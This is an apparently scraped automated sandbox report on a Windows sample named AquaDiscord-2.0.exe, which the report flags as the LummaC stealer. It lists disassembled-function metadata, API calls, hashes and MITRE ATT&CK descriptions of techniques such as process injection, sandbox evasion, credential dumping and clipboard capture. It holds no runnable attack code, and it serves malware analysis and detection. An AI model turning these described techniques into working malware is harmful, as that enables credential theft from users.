Associated: 00000002.00000002.2909712695.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 7d06dcfe8c4c50b290d5a4ddf4ebeed139decb70ec8d91da21aaae07177ab30a
Instruction ID: 63ee98bfe8c95fd5ab73d0a83e5207b46f23f7291108eb2ea5746a9db9dbd2b3
Opcode Fuzzy Hash: 7d06dcfe8c4c50b290d5a4ddf4ebeed139decb70ec8d91da21aaae07177ab30a
Instruction Fuzzy Hash: 84F05F75D1020DEBCB04DBB4DA499DEBBF4FF1C204BA18995E822E7150EA30AB44DB51

Function 004298AF Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 208COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000009,00000000,00000000,?), ref: 00429939
RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000009,00000000,00000000,?), ref: 00429A8C

Strings

Xrsp, xrefs: 00429A2A

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: Xrsp
API String ID: 237503144-748625766
Opcode ID: fa13007f2bee2d67c54e7cf89fb10b18ac5bf56a918508bb9d97b2ce0acdbfc2
Instruction ID: 4f4ecb18278d76325596eabc208a3bfd82e07ba985bdba3104b664f90404af25
Opcode Fuzzy Hash: fa13007f2bee2d67c54e7cf89fb10b18ac5bf56a918508bb9d97b2ce0acdbfc2
Instruction Fuzzy Hash: 146107B4E403155BDB009F7DC9423AEFFB2FB85211F59826EE8546B386C77458068BE2

Function 00B05130 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 122COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,00B05031,?,?,00000000,00000000,00000000,?), ref: 00B05155

Strings

RCC, xrefs: 00B0516F
MOC, xrefs: 00B05167

Memory Dump Source

Source File: 00000002.00000002.2909645953.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.2909632146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909666742.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909681954.0000000000B20000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909698006.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909712695.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 1a3d04abb828008be788469bbf73d7d969478061ff009953401a3c86d0799b69
Instruction ID: 5594469fdb53435593e1ec1433ae6bd53db010139f6207031f600fcde7d390b7
Opcode Fuzzy Hash: 1a3d04abb828008be788469bbf73d7d969478061ff009953401a3c86d0799b69
Instruction Fuzzy Hash: BB415871900609AFCF25DF98CD81AEEBBB5FF48300F148099FA09A72A1D735AA51DF50

Function 00B0499C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 00B04C13

Strings

csm, xrefs: 00B04CA6
csm, xrefs: 00B04C35

Memory Dump Source

Source File: 00000002.00000002.2909645953.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.2909632146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909666742.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909681954.0000000000B20000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909698006.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909712695.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: 2bc179bff8e76723036f57f9e75cd380d96e0ee420206c1324eb2164604c59ef
Instruction ID: 9c21f47b4521cf6fd5cd48e141b51566248c5d31cfe6458a1828a2eb03694dcd
Opcode Fuzzy Hash: 2bc179bff8e76723036f57f9e75cd380d96e0ee420206c1324eb2164604c59ef
Instruction Fuzzy Hash: 5131E1B2401219ABDF369F50C8449AE7FE5FF09315B1882EAFF544A1A1C332CCA1DB91

Function 00AF1DB0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 78libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00AF1E6E

Strings

@, xrefs: 00AF1EB7
VirtualProtect, xrefs: 00AF1E61

Memory Dump Source

Source File: 00000002.00000002.2909645953.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.2909632146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909666742.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909681954.0000000000B20000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909698006.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909712695.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID: AddressProc
String ID: @$VirtualProtect
API String ID: 190572456-29487290
Opcode ID: c9adf84e3e4c84680750698a7dc8328ddb376d3a1e6c06beb21b542d0cc0833b
Instruction ID: 12efb434c298eb400047c9b64d168f8daab7e0939b6189faf2074abfbfd42242
Opcode Fuzzy Hash: c9adf84e3e4c84680750698a7dc8328ddb376d3a1e6c06beb21b542d0cc0833b
Instruction Fuzzy Hash: 2841E4B0901209DFDB04EFA9D5986EEBBF0FF08314F108419E858AB351D775A945CF91

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report AquaDiscord-2.0.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Suricata IDS Alerts

Windows Analysis Report
AquaDiscord-2.0.exe

Function 00B2019E Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 295
threadinjectionmemoryCOMMON

Function 00AF1C10 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 108
libraryfileloaderCOMMON

Function 00B06602 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Function 00B06DEA Relevance: 7.7, APIs: 5, Instructions: 197
COMMON

Function 00AF1DB0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 78
librarymemoryloaderCOMMON

Function 00AFF253 Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Function 00B0D364 Relevance: 3.2, APIs: 2, Instructions: 196
fileCOMMONLIBRARYCODE

Function 00B07268 Relevance: 3.2, APIs: 2, Instructions: 177
COMMON

Function 00B0DB3D Relevance: 3.1, APIs: 2, Instructions: 80
fileCOMMONLIBRARYCODE

Function 00B07152 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Function 00AF2010 Relevance: 3.0, APIs: 2, Instructions: 34
COMMON

Function 00B064B3 Relevance: 3.0, APIs: 2, Instructions: 34
COMMONLIBRARYCODE

Function 00B05677 Relevance: 3.0, APIs: 2, Instructions: 22
memoryCOMMONLIBRARYCODE

Function 00AF14C0 Relevance: 1.8, APIs: 1, Instructions: 308
COMMON

Function 00B077F7 Relevance: 1.6, APIs: 1, Instructions: 142
COMMON

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre